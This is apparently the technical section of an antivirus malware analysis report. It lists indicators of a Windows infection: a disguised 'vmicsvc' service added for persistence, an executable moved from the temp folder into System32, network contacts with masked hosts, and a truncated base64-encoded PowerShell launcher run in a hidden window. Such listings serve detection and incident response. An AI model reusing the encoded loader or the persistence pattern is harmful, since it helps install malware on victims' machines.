Technical Information
- [<HKLM>\System\CurrentControlSet\Services\vmicsvc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vmicsvc] 'ImagePath' = '"<SYSTEM32>\RmClient\vmicsvc.exe"'
- 'vmicsvc' "<SYSTEM32>\RmClient\vmicsvc.exe"
- 'vmicsvc' <SYSTEM32>\RmClient\vmicsvc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\o1jp0j.exe
- <SYSTEM32>\rmclient\vmicsvc.exe
- from %TEMP%\word\2019\o1jp0j.exe to <SYSTEM32>\rmclient\vmicsvc.exe
- '17#.#1.208.86':80
- http://17#.#1.208.86/URjfyIbrfGA9/VGwvluVTgJRLJP/L6KtUG/439HBVM/N6zFHlDwXNsBR/
- DNS ASK da###roque.com
- '%TEMP%\word\2019\o1jp0j.exe'
- '<SYSTEM32>\rmclient\vmicsvc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (with hidden window)